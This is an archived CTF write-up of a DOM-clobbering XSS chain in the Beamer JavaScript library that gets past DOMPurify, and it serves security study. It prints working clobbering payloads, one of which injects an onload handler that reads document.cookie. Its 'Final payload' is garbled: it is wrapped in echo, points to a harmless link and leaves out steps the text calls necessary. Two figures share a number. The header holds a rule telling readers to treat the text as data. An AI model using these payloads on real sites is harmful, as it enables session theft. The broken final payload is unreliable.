

Under the Beamer. Tags:Writeup - Writeup - ASIS_QUALS_2025 - Web

Under the Beamer. Tags:Writeup - Writeup - ASIS_QUALS_2025 - Web - Author not stated, mizu.re.

- Published: date not stated
- Original: <<https://mizu.re/post/under-the-beamer>>
- Preserved from: <https://mizu.re/post/under-the-beamer> (stored) on 2026-08-06
- Capture timestamp: 20260418230047
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Under the Beamer | mizu.re

[*keyboard_arrow_up*]()

title: Under the Beamer date: Sep 07, 2025 tags: [Writeup](#) [ASIS_QUALS_2025](#) [Web](#) [XSS](#)

Under the Beamer (revenge)

[[image](#): image]

Difficulty: 500 points | 0 solves

Description: Clobbered or not clobbered, that's the question :)

Author: [Me](#)

Sources: [here](#).

Table of content

- [ TL.DR]()
- [ Introduction]()
- [ Beamer library]()
- [ DOM Clobbering]()
- [ Remove node gadget]()

- [💬 XSS gadget]()
- [🌟 Putting everything together]()

[

📌 TL.DR

]()

[image: dom-clobbering.png]

[

📖 Introduction

]()

The challenge was about a DOM Clobbering technique that I believe to be novel in the [Beamer](#) library. The goal was to find a gadget that would bypass the DOMPurify sanitization in the specific library configuration. At the end of the 24h CTF, nobody managed to solve it.

For those who played the challenge, I'm sorry to have forgotten the HTML sanitizer in the first version!

If you aren't familiar with DOM Clobbering I highly recommend you start by reading about it. For example:

- <https://research.securitum.com/xss-in-amp4email-dom-clobbering>
- <https://portswigger.net/web-security/dom-based/dom-clobbering>
- <https://0xgodson.com/an-art-of-dom-clobbering>
- ...

That being said, let's dive into the challenge! Since the gadget was complex enough to be solved by itself, the challenge was straightforward. It was a simple rich text feature waiting for HTML to be sanitized, and rendered with the beamer library loaded.

[image: challenge.png]

Fig. 1: Challenge preview

Even if it was a client-side challenge, sources were available. Nothing special had to be found in it, the goal was mostly to be transparent with players.

```

from flask import Flask, jsonify, render_template, Response
app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/initialize")
def initialize():
    return jsonify({ ""Beamer config..."" })

# The following routes are not part of the challenge. I just don't want to make request to getbeamer
@app.route("/beamer-embed.js")
def beamer_embed():
    with open("beamer-embed.js", "r") as file:
        content = file.read()
        content = content.replace("https://app.getbeamer.com/", "/static/")
        content = content.replace("https://push.getbeamer.com/", "/")
        content = content.replace("https://static.getbeamer.com/", "/static/")
        content = content.replace("https://backend.getbeamer.com/", "/")

    return Response(content, mimetype="application/javascript")

@app.route("/numberFeatures")
def numberFeatures():
    return jsonify({"callbackNumber":0,"number":0,"priority":False})

@app.route("/embeddedPush")
def embeddedPush():
    return ""

@app.route("/realtimeUpdates")
def realtimeUpdates():
    return jsonify({"callbackNumber":0,"number":0,"priority":False})

if __name__ == "__main__":
    app.run("0.0.0.0", 5000, debug=True)

```

Fig. 2: /src/app/src/app.py

As you can see, the app had a few endpoints to avoid any beamer server communication. To do that, I just updated links in the source code without impacting any potential solution.

```

function renderIframe() {
  const textarea = document.getElementById("content");
  const iframe = document.getElementById("renderer");
  const content = textarea.value;
  const sanitizedContent = DOMPurify.sanitize(content);

  try {
    localStorage.setItem("textareaContent", content);
  } catch (e) {
    console.warn("Could not save to localStorage:", e);
  }

  const htmlContent = `
    <!DOCTYPE html>
    <html>
    <head>
      <meta charset="UTF-8">
    </head>
    <body>
      <div>${sanitizedContent}</div>
      <script>
        var beamer_config = {
          product_id : "TCocQlcK73424",
          user_id: "00000000-0000-0000-0000-000000000000"
        };
      </script>
      <script type="text/javascript" src="/beamer-embed.js" defer="defer"></script>
      <script>
        setTimeout(() => { Beamer.update({language: "FR"}) }, 1000); /*
        window.Beamer&&window.Beamer.update()
        */
      </script>
    </body>
    </html>`;

  iframe.srcdoc = htmlContent;
}

```

Fig. 3: /src/app/src/templates/index.html

On the frontend side, the code was very simple. It takes user input, sanitizes it with [DOMPurify](#), and renders it in an iframe. The only important thing is that 1s after Beamer loads, it calls the `update()` method.

[

]()

The Beamer library follows the "classic" configurable library schema, like [Hotjar](#), where the config object has to be defined before the library loads:

```
<script>
  var beamer_config = {
    product_id : "TCocQ1cK73424",
    user_id: "00000000-0000-0000-0000-000000000000"
  };
</script>
<script type="text/javascript" src="/beamer-embed.js" defer="defer"></script>
```

Fig. 4: [Beamer](#) library initialization.

In those cases, most of the time we can see a lot of `x = window.x || {}` as those libs need to be loaded dynamically. In the [Beamer](#) library we can find a variation of this:

```
'undefined' === typeof window.Beamer && (window.Beamer = {});
```

Fig. 5: `window.Beamer` vulnerable to Clobbering.

This is mostly to ensure the library isn't already loaded :)

In addition, looking more deeply into the library, it's possible to find several interesting functions that are used to insert HTML.

- `Beamer.appendHtml` → Uses `innerHTML`.
- `Beamer.appendPushPermissionScript` → Adds a new script.
- `Beamer.appendPushSDKScript` → Loads the Beamer push SDK.
- `Beamer.drawAlert` → Uses `innerHTML` to raise an alert.

With the `window.Beamer` clobbering and these interesting functions in mind, we might think that it shouldn't be too hard to find a gadget. Unfortunately, the library always properly checks every untrusted input type. For instance:

```
a = 99 < Beamer.notificationNumber ? '99+' : '' + Beamer.notificationNumber
// ...
d.getElementsByClassName('beamer_icon') [0].innerHTML = a
```

Fig. 6: Important type verification in the [Beamer](#) library.

Furthermore, each time an untrusted input string is used to insert HTML, the `Beamer.escapeHtml` function is used to avoid any injection.

```

Beamer.escapeHtml = function(a) {
  try {
    return a.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, "").replace
  } catch (b) {
    return a
  }
}
// ...

'undefined' !== typeof Beamer.escapeHtml && (n = Beamer.escapeHtml(n))
// ...

```

Fig. 7: HTML escaping in the [Beamer](#) library.

At that point, it might look to be a dead end, but this is where an interesting DOM Clobbering behavior can be used.

[

DOM Clobbering

]()

Something well known is that on Chromium it is possible to have an [HTMLCollection](#) when using two tags with the same id.

```

<a id="x"></a><a id="x" name="y"></a>

<script>
console.log(x);
// HTMLCollection(2)
</script>

```

Fig. 8: [HTMLCollection](#) DOM Clobbering.

However, something less well known is that [HTMLCollection](#) items are not **writable**!

```

<a id="x"></a><a id="x" name="y"></a>

<script>
console.log(Object.getOwnPropertyDescriptor(x, "y"));
// {value: a#x, writable: false, enumerable: false, configurable: true}
</script>

```

Fig. 9: [HTMLCollection](#) items aren't writable.

Because of this, even if you try to overwrite the value from JS, nothing will happen (as long as you aren't in strict mode).

- Not in [strict mode](#).

```
<a id="x"></a><a id="x" name="y"></a>

<script>
console.log(x.y);
// <a id="x" name="y"></a>
x.y = "mizu";
console.log(x.y);
// <a id="x" name="y"></a>
</script>
```

Fig. 10: [HTMLCollection](#) item modification in non-[strict mode](#).

- In [strict mode](#).

```
<a id="x"></a><a id="x" name="y"></a>

<script>
"use strict";

console.log(x.y);
// <a id="x" name="y"></a>
x.y = "mizu";
// Uncaught TypeError: Failed to set a named property 'y' on 'HTMLCollection': Named property setter
</script>
```

Fig. 11: [HTMLCollection](#) item modification in [strict mode](#).

This is because strict mode ensures you don't do "illegal" things like writing a property that isn't writable. This makes [Hotjar](#) safe, btw.

In the context of Beamer, this is very interesting for a single reason:

```

<a id="Beamer"></a><a id="Beamer" name="escapeHtml" class="remove"></a>

<script>
'undefined' === typeof window.Beamer && (window.Beamer = {});
// Beamer = HTMLCollection(2)
Beamer.escapeHtml = () => { /* safe escapeHtml function */ };
// Beamer.escapeHtml = <a id="Beamer" name="escapeHtml"></a>

// What if we have a gadget to remove `<a id="Beamer" name="escapeHtml"></a>` now?
document.getElementsByClassName(".remove").remove(); // This is an example
// Beamer.escapeHtml = undefined

'undefined' !== typeof Beamer.escapeHtml && (n = Beamer.escapeHtml(n)) // This won't do anything now
document.body.innerHTML = n; // This is an example
</script>

```

Fig. 12: DOM clobbering chain abusing non [strict mode](#).

If I sum up, the idea is to:

- Clobber Beamer.escapeHtml to block the function assignment.
- Find a gadget to remove the Beamer.escapeHtml clobbering tag. This would make Beamer.escapeHtml undefined.
- Find a gadget that leads to an innerHTML which won't be protected by Beamer.escapeHtml anymore.

[

Remove node gadget

]()

At that point, there might be several solutions. Mine was to abuse removeIframe to remove the <p id="Beamer" name="escapeHtml"></p> tag:

```

Beamer.removeIframe = function() {
  var a = Beamer.isInApp() ? "beamerNews" : "beamerOverlay";
  Beamer.forEachElement(a, function(b) {
    b.parentNode.removeChild(b)
  })
}

```

Fig. 13: Beamer.removeIframe function.

From the above snippet, we can see that removeIframe will remove all children of #beamerNews or #beamerOverlay. Finding a way to call it would allow us to remove the escapeHtml tag using:


```
<a id="beamerOverlay"><p id="Beamer" name="escapeHtml"></p></a>
```

Fig. 14: Remove Clobbering gadget.

Here we are using a .removeChild gadget, but a simple .innerHTML could have done the job.

The call I used in my solution is:

```
Beamer.appendAlert = function(a, b) {  
  // ...  
  var l = Beamer.getConfigParameter(f, "activateAutoRefresh");  
  if (!Beamer.isEmbedMode() && ("undefined" === typeof beamer_config.auto_refresh || beamer_config  
    if (h || "undefined" !== typeof b && b)  
      _BEAMER_IS_OPEN ? Beamer.removeOnHide = !0 : Beamer.removeIframe(),
```

Fig. 15: Beamer.appendAlert function.

As we can see, appendAlert has to be called with the 2nd param set to true. This is where the Beamer.update({ language: "FR" }) call was important, since it does exactly that! So we don't need to do anything, just wrap the escapeHtml tag in the #beamerOverlay tag :)

```
Beamer.update = function(a) {  
  if ("undefined" !== typeof a) {  
    var b = !1;  
    // ...  
    "undefined" !== typeof a.language && beamer_config.language !== a.language && (beamer_config  
    b = !0);  
    // ...  
    for (var c in a)  
      if (a.hasOwnProperty(c) && !(-1 < Beamer.reservedParameters.indexOf(c))) {  
        var d = a[c];  
        "undefined" === typeof d || "object" === typeof d || Beamer.isFunction(d) || beamer_  
        b = !0)  
      }  
    b && (Beamer.started ? Beamer.appendAlert(!0, !0) : Beamer.init()) // HERE  
  }  
}
```

Fig. 16: Beamer.update function.

The enableAutoRefresh and activateAutoRefresh config option has to be enabled

[

XSS gadget

]()

Now, the last step is to find the XSS gadget using the Beamer.escapeHtml bypass. Mine was to abuse appendUtilitiesIframe to get the XSS:

```
Beamer.appendUtilitiesIframe = function(a) {
  if ("undefined" === typeof Beamer.config.disableUtilitiesIframe || !Beamer.config.disableUtilitiesIframe) {
    try {
      if (!document.getElementById("beamerUtilities")) {
        var b = "undefined" !== typeof Beamer.customDomain ? Beamer.customDomain : _BEAMER_CUSTOM_DOMAIN;
        b += "utilities?app_id=" + beamer_config.product_id;
        "undefined" !== typeof Beamer.escapeHtml && (b = Beamer.escapeHtml(b));
        Beamer.appendHtml(document.body, "<iframe id='beamerUtilities' src='" + b + "' width='100%' height='100%'>");
      }
      "undefined" !== typeof Beamer.customDomain && Beamer.setIframeCookies();
      "undefined" !== typeof a && a && Beamer.initUpdatesListener()
    } catch (c) {
      Beamer.logError(c)
    }
  }
}
```

It wasn't possible to directly use `src="javascript:alert()"` because of DOMPurify.

Fig. 17: Beamer.appendUtilitiesIframe function.

From the above snippet, we can see that if beamerUtilities isn't in the DOM yet, it will create an iframe with unescaped Beamer.customDomain value. This can be done with:

```
<a id="Beamer" name="customDomain" href="http: '/onload='console.log(document.cookie)'/x=' "></a>
```

Fig. 18: customDomain clobbering payload.

http: is required to not be removed by DOMPurify. Furthermore, it works because ' isn't URL encoded in the path :)

To reach this sink, we don't need to do anything! Why? It is called only few lines below the removal gadget :D

```

Beamer.appendAlert = function(a, b) { // HERE
  // ...

  if (!Beamer.isEmbedMode() && ("undefined" === typeof beamer_config.auto_refresh || beamer_config
    if (h || "undefined" !== typeof b && b)
      _BEAMER_IS_OPEN ? Beamer.removeOnHide = !0 : Beamer.removeIframe(),
      Beamer.setCookie(_BEAMER_LAST_UPDATE + "_" + beamer_config.product_id, (new Date).getTim
    h = Beamer.getConfigParameter(f, "autoRefreshTimeout");
    "undefined" !== typeof h ? Beamer.autoRefreshTimeout = h : "undefined" !== typeof Beamer.aut
    h = Beamer.getConfigParameter(f, "enableUpdatesListener");
    "undefined" !== typeof h && h ? (f = Beamer.getConfigParameter(f, "updatesDelay"),
    "undefined" !== typeof f && 0 <= f && (Beamer.updatesMaxDelay = f),
    Beamer.appendUtilitiesIframe(!0)) : Beamer.prepareAutoRefresh() // HERE

```

Fig. 19: Beamer.appendAlert function.

While it looks to be "win", it's not enough. Trying to get XSS with the following payload will result in an error:

```

<a id="Beamer"></a><a id="Beamer" name="customDomain" href="http:'/onload='console.log(document.cook

```

Fig. 20: Updated solution payload.

```

Uncaught TypeError: Beamer.escapeHtml is not a function
    at Beamer.appendPushScript (VM197 beamer-embed.js:67:374)
    at VM197 beamer-embed.js:101:374
    at f.onreadystatechange (VM197 beamer-embed.js:160:375)

```

Fig. 21: Clobbering error.

This is caused by:

```

Beamer.appendPushScript = function(a) {
  if (!(Beamer.isSafari() || Beamer.isIE() || Beamer.isFacebookApp() || Beamer.isInstagramApp()))
    if ("undefined" !== typeof Beamer.pushDomain)
      (Beamer.pushDomain == window.location.host || "undefined" !== typeof Beamer.extendedPush
    else if ("undefined" !== typeof _BEAMER_PUSH_PROMPT_TYPE && ("popup" == _BEAMER_PUSH_PROMPT_
      // ...
      "undefined" !== typeof Beamer.escapeHtml && (b = Beamer.escapeHtml(b))); // HERE
      Beamer.appendHtml(document.body, "<iframe id='beamerPush' src='" + b + "' width='0' heig
    }
}

```

Fig. 21: Beamer.appendPushScript.

Fortunately, having `Beamer.pushDomain` not null avoids this error from occurring! 🔥

[

🌟 Putting everything together

10

We have everything to get the XSS working!

```
echo '<p id="Beamer" name="pushDomain"></p><p id="Beamer"></p><a id="Beamer" name="customDomain" href="http://www.beamer-project.net/">Beamer Project</a>'
```

Fig. 22: Final payload.

[image: solve.png]

Fig. 23: FLAG!